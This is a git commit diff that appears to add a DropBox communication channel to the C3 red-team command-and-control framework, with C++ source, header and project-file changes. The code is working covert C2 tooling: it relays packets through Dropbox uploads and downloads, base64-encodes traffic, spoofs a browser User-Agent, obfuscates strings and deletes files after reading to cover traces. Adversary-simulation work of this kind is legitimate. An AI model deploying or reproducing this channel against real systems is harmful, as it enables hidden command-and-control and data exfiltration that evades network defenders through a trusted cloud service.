Merge remote-tracking branch 'adm1mpanda/master'

dependabot/npm_and_yarn/Src/WebController/UI/elliptic-6.5.3
Grzegorz Rychlik 2020-07-15 09:03:35 +02:00
commit ab998ecf03
4 changed files with 467 additions and 121 deletions

View File

@ -19,6 +19,7 @@
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Slack.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\MSSQL.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\MockServer.cpp" />
@ -78,6 +79,7 @@
<ClInclude Include="$(MSBuildThisFileDirectory)json\json.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)libSodium\include\sodium.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Slack.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\MSSQL.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Beacon.h" />

View File

@ -2,6 +2,7 @@
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\MSSQL.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\MockServer.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\Covenant.cpp" />
@ -117,5 +118,6 @@
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Office365.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.h" />
</ItemGroup>
</Project>

View File

@ -0,0 +1,271 @@
#include "StdAfx.h"
#include "Common/CppRestSdk/include/cpprest/http_client.h"
#include "Common/FSecure/Crypto/Base64.h"
#include "Common/CppRestSdk/include/cpprest/base_uri.h"
#include "DropBox.h"
namespace FSecure::C3::Interfaces::Channels
{
DropBox::DropBox(FSecure::ByteView arguments)
: m_inFile( arguments.Read<std::string>() )
, m_outFile( arguments.Read<std::string>() )
, m_Directory( arguments.Read<std::string>() )
, m_Token( arguments.Read<std::string>() )
{
if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty())
this->m_HttpConfig.set_proxy(winProxy == OBF(L"auto") ? web::web_proxy::use_auto_discovery : web::web_proxy(winProxy));
}
// Make a HTTP POST Request
std::string DropBox::SendHTTPRequest(std::string const& host, std::string const& contentType, std::string const& data)
{
while (true)
{
web::http::client::http_client webClient(utility::conversions::to_string_t(host), this->m_HttpConfig);
web::http::http_request request(web::http::methods::POST);
if (!data.empty())
{
request.set_body(utility::conversions::to_string_t(data));
}
if (!contentType.empty())
{
request.headers().set_content_type(utility::conversions::to_string_t(contentType));
}
request.headers()[L"User-Agent"] = L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36";
request.headers()[L"Authorization"] = L"Bearer " + utility::conversions::to_string_t(this->m_Token);
request.headers()[L"Host"] = L"api.dropboxapi.com";
web::http::http_response resp = webClient.request(request).get();
if (resp.status_code() == web::http::status_codes::OK)
return resp.extract_utf8string().get();
else if (resp.status_code() == web::http::status_codes::TooManyRequests)
std::this_thread::sleep_for(FSecure::Utils::GenerateRandomValue(10s, 20s));
else if (resp.status_code() == web::http::status_code(409))
return "{}";
else
throw std::exception(OBF("[x] Non 200/409/429 HTTP Response\n"));
}
}
// Make a HTTP POST Request and also edit the Headers.
std::string DropBox::SendHTTPRequest(std::string const& host, json const& h_args, std::string const& contentType, std::string const& data)
{
while (true)
{
web::http::client::http_client webClient(utility::conversions::to_string_t(host), this->m_HttpConfig);
web::http::http_request request(web::http::methods::POST);
if (!data.empty())
{
request.set_body(utility::conversions::to_string_t(data));
}
if (!contentType.empty())
{
request.headers().set_content_type(utility::conversions::to_string_t(contentType));
}
request.headers()[L"User-Agent"] = L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36";
request.headers()[L"Authorization"] = L"Bearer " + utility::conversions::to_string_t(this->m_Token);
request.headers()[L"Host"] = L"content.dropboxapi.com";
request.headers()[L"Dropbox-API-Arg"] = utility::conversions::to_string_t(h_args.dump());
web::http::http_response resp = webClient.request(request).get();
if (resp.status_code() == web::http::status_codes::OK)
{
resp.headers().set_content_type(L"text/plain");
return resp.extract_utf8string().get();
}
else if (resp.status_code() == web::http::status_codes::TooManyRequests)
std::this_thread::sleep_for(FSecure::Utils::GenerateRandomValue(10s, 20s));
else if (resp.status_code() == web::http::status_code(409))
return "{}";
else
throw std::exception(OBF("[x] Non 200/409/429 HTTP Response\n"));
}
}
// Parse HTTP POST Response as JSON
json DropBox::SendJsonRequest(std::string const& url, json const& data)
{
return json::parse(SendHTTPRequest(url, OBF("application/json"), data.dump()));
}
// Parse HTTP POST(with edited headers) Respose as JSON
json DropBox::SendJsonRequest(std::string const& url, json const& h_args, std::string data)
{
return json::parse(SendHTTPRequest(url, h_args, OBF("application/octet-stream"), data));
}
// Send Packets to Channel
size_t DropBox::OnSendToChannel(FSecure::ByteView packet)
{
std::string b64packet = "";
std::string strpacket = "";
size_t actualPacketSize = 0;
size_t maxPacketSize = cppcodec::base64_rfc4648::decoded_max_size(150'000'000);
size_t bytesWritten = 0;
// if total packet size is smaller than api file upload size
// send packet in one file request
if (packet.length() < maxPacketSize)
{
std::string base64 = cppcodec::base64_rfc4648::encode(packet.data(), packet.size());
//Write to file on DropBox
json db_args;
db_args[OBF("path")] = OBF("/") + m_Directory + m_outFile + "/" + m_outFile + std::to_string(FSecure::Utils::GenerateRandomValue<int>(10000, 99999));
db_args[OBF("mode")] = OBF("add");
db_args[OBF("autorename")] = true;
db_args[OBF("mute")] = true;
SendJsonRequest(OBF_STR("https://content.dropboxapi.com/2/files/upload"), db_args, base64);
bytesWritten = packet.length();
}
// if total packet size is larger than api file upload size
// chunck the packet into smaller packets
else
{
actualPacketSize = std::min(maxPacketSize, packet.size());
strpacket = packet.SubString(0, actualPacketSize);
b64packet = cppcodec::base64_rfc4648::encode(strpacket.data(), strpacket.size());
json db_args;
db_args[OBF("path")] = OBF("/") + m_Directory + m_outFile + "/" + m_outFile + std::to_string(FSecure::Utils::GenerateRandomValue<int>(10000, 99999));
db_args[OBF("mode")] = OBF("add");
db_args[OBF("autorename")] = true;
db_args[OBF("mute")] = true;
SendJsonRequest(OBF_STR("https://content.dropboxapi.com/2/files/upload"), db_args, b64packet);
bytesWritten = strpacket.size();
}
return bytesWritten;
}
// Read Packets from Channel
FSecure::ByteVector DropBox::OnReceiveFromChannel()
{
FSecure::ByteVector packet;
// Check if there are packets to read
json db_list;
db_list[OBF("path")] = OBF("/") + m_Directory + m_inFile;
db_list[OBF("recursive")] = false;
db_list[OBF("limit")] = 1;
json filelist = SendJsonRequest(OBF_STR("https://api.dropboxapi.com/2/files/list_folder"), db_list);
if (filelist["entries"][0].size())
{
// Download packet from DropBox
json db_args;
db_args[OBF("path")] = filelist["entries"][0]["path_display"];
std::string fileContent = SendHTTPRequest(OBF_STR("https://content.dropboxapi.com/2/files/download"), db_args, " text/plain; charset=utf-8", "");
// Read packet from file
packet = cppcodec::base64_rfc4648::decode(fileContent);
// Remove packet from DropBox after read
SendJsonRequest(OBF_STR("https://api.dropboxapi.com/2/files/delete_v2"), db_args);
}
return FSecure::ByteVector { packet };
}
// Custom Command
ByteVector DropBox::OnRunCommand(ByteView command)
{
auto commandCopy = command;
switch (command.Read<uint16_t>())
{
case 0:
Clear();
return {};
default:
return AbstractChannel::OnRunCommand(commandCopy);
}
}
// Clear all files from DropBox
bool DropBox::Clear()
{
std::string url = OBF_STR("https://api.dropboxapi.com/2/files/delete_v2");
json file_info;
file_info[OBF("path")] = OBF("/") + m_Directory;
json x = SendJsonRequest(url, file_info);
return true;
}
const char* DropBox::GetCapability()
{
return R"(
{
"create":
{
"arguments":
[
[
{
"type": "string",
"name": "Input ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets for the channel"
},
{
"type": "string",
"name": "Output ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets from the channel"
}
],
{
"type": "string",
"name": "Directory Name",
"min": 1,
"description": "The diretory name to use in DropBox"
},
{
"type": "string",
"name": "DropBox Access Token",
"min": 1,
"description": "This token is what channel needs to interact with DropBox's API"
}
]
},
"commands":
[
{
"name": "Remove all files",
"id": 0,
"description": "Clearing old files from directory may increase bandwidth",
"arguments": []
}
]
}
)";
}
}

View File

@ -0,0 +1,71 @@
#pragma once
namespace FSecure::C3::Interfaces::Channels
{
/// Implementation of a File Channel.
class DropBox : public FSecure::C3::Interfaces::Channel<DropBox>
{
public:
/// Public constructor.
/// @param arguments factory arguments.
DropBox(FSecure::ByteView arguments);
/// OnSend callback implementation. Called every time attached Relay wants to send a packet through this Channel Device. @see Device::OnSendToChannelInternal.
/// @param packet data to send through the Channel.
/// @return number of bytes successfully sent through the Channel. One call does not have to send all data. In that case chunking will take place, Chunks must be at least 64 bytes or equal to packet.size() to be accepted,
size_t OnSendToChannel(FSecure::ByteView packet);
/// Reads a single C3 packet from Channel. Periodically called by attached Relay. Implementation should read the data (or return an empty buffer if there's nothing in the Channel waiting to read) and leave as soon as possible.
/// @return ByteVector that contains a single packet retrieved from Channel.
FSecure::ByteVector OnReceiveFromChannel();
/// Describes Channels creation parameters and custom Commands.
/// @return Channel's capability description in JSON format.
static const char* GetCapability();
/// Makes a HTTP POST Request
/// return HTTP response as a string if status is 200
std::string SendHTTPRequest(std::string const& host, std::string const& contentType, std::string const& data);
/// Makes a HTTP POST Request with additional headers
/// return HTTP response as a string if status is 200
std::string SendHTTPRequest(std::string const& host, json const& h_args, std::string const& contentType, std::string const& data);
/// Makes a HTTP POST Request
/// parses the HTTP response as a json string if status is 200
json SendJsonRequest(std::string const& url, json const& data);
/// Makes a HTTP POST Request with additional headers
/// parses the HTTP response as a json string if status is 200
json SendJsonRequest(std::string const& url, json const& h_args, std::string data);
/// Processes Commands addressed to this Channel.
/// @param command a buffer containing whole command and it's parameters.
/// @return command result.
ByteVector OnRunCommand(ByteView command) override;
/// Clears all files created on Dropbox
/// returns true if success
bool Clear();
/// Explicit values used as the defaults for Channel's UpdateDelayJitter. Values can be changed later, at runtime.
constexpr static std::chrono::milliseconds s_MinUpdateDelay = 1000ms, s_MaxUpdateDelay = 1000ms;
protected:
/// Name of file used to receive data.
std::string m_inFile;
/// Name of file used to send data.
std::string m_outFile;
/// The Directory name to use in DropBox
std::string m_Directory;
/// Code token to communicate with API
std::string m_Token;
private:
web::http::client::http_client_config m_HttpConfig;
};
}